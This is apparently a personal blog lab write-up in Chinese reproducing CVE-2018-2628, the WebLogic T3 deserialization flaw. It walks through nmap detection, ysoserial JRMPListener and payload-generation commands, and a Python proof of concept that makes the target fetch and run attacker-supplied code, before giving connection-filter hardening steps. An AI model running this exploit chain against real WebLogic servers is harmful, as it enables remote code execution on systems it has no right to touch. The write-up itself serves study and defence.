【漏洞编号】
CVE-2018-2628
【漏洞描述】
CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码。
【漏洞级别】
高危
【漏洞复现】
A. 搭建实验环境
CVE-2018-2628漏洞利用工具包(工具包)
JDK版本:jdk1.7.0_21
Weblogic版本:10.3.6.0
Ubuntu主机(Java JDK版本1.7以上)和Windows10主机(Python版本2.X)
注:这里完全可以在Ubuntu主机上完成所有实验,为了更好的理解原理把攻击机换成了Windows10。
B. 实验过程
目标主机地址192.168.10.129,首先探测主机开放的端口及服务。使用nmap对目标主机进行端口扫描。
使用命令:
nmap -n -v -p7001,7002 192.168.10.129 --script=weblogic-t3-info
针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。
发现7001端口开启T3协议使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.10.129:7001.在windows主机打开命令行运行CVE-2018-2628-MultiThreading.py开始检测,可以看到检测结果为漏洞存在。
使用检测工具检测确定目标主机存在Weblogic T3反序列化漏洞后,在Ubuntu主机上运行JRMPListener开启端口监听。使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序。在Ubuntu主机上运行ysoserial-0.1-cve-2018-2628-all.jar。
命令执行的格式:
java -cp ysoserial-\<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener\ <listen port> \ <gadget class>\<command>
参考样例:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
上面是我的Ubuntu主机上执行的命令,在Ubuntu主机上监听一个端口,这样目的主机上的Weblogic进行远程方法调用时,可以连接到Ubuntu主机。<command>是执行的命令,windows服务器的话运行calc.exe是打开计算器程序。如果是Linux服务器可直接执行控制台命令。
Ubuntu主机执行ysoserial-0.1-cve-2018-2628-all.jar当看到 *Opening JRMP listener on 22801 输出时,说明运行成功并且端口22801开启处于监听状态。此时要记录下ubuntu主机的ip地址为192.168.10.50。
在Ubuntu主机上新打开一个终端,同样使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload字符串,因为要实现Weblogic远程调用Ubuntu主机上的方法。就需要知道远程方法所在的主机地址和端口号。所以在上一步要记录Ubuntu主机的信息。
命令执行的格式:
java -jar ysoserial-\<version>-cve-2018-2628-all.jar JRMPClient2 \<JRMPListener IP>:\<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
参考样例:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.10.50:22801 | xxd -p | tr -d $'\n' && echo
生成payload将Payload字符串复制到weblogic_poc.py文件中替换PAYLOAD。
修改PAYLOAD更改文件末尾的dip变量的值为目标服务器(Weblogic所在服务器)的ip地址192.168.10.129。当然端口也可以自定义。
修改dip在Win10主机上执行weblogic_poc.py开始漏洞利用。漏洞利用成功后程序会输出反序列化程序发送的数据包信息。
执行漏洞利用工具weblogic_poc.py另一边观察Ubuntu主机发现触发漏洞后,目标服务器上的weblogic中的JVM虚拟机远程调用了监听程序中的方法向目标服务器返回了payload。
Ubuntu主机返回payload当目标服务器远程调用后将执行Ubuntu主机返回的payload,打开计算器程序。实现远程任意代码的执行。
漏洞利用成功,打开了计算器程序从后面的Weblogic运行情况也可以看到执行了远程代码。
【漏洞加固】
T3协议漏洞加固的话可以打上官方最新的补丁,既然官方已经发布说明这个利用方法最新的补丁已经补住了:-)怀疑。
手动加固的话可以直接过滤掉t3协议,粗暴有效。当然可以加个白名单给指定的几台主机不影响使用。
具体如下:
(a)进入WebLogic控制台,点击域进行域配置。
域配置(b)在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
添加过滤器(c)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中
输入:ip * * allow t3 (ip为允许的ip)
0.0.0.0/0 * *deny t3 t3s
配置成功后直接保存就好了,再用漏洞检测工具检测就显示不存在漏洞了。
注:本文所有内容均为作者整理和制作而成,为个人笔记。转载请注明出处。
总有一天要改成原创而成,广告位预留,不租~
网友评论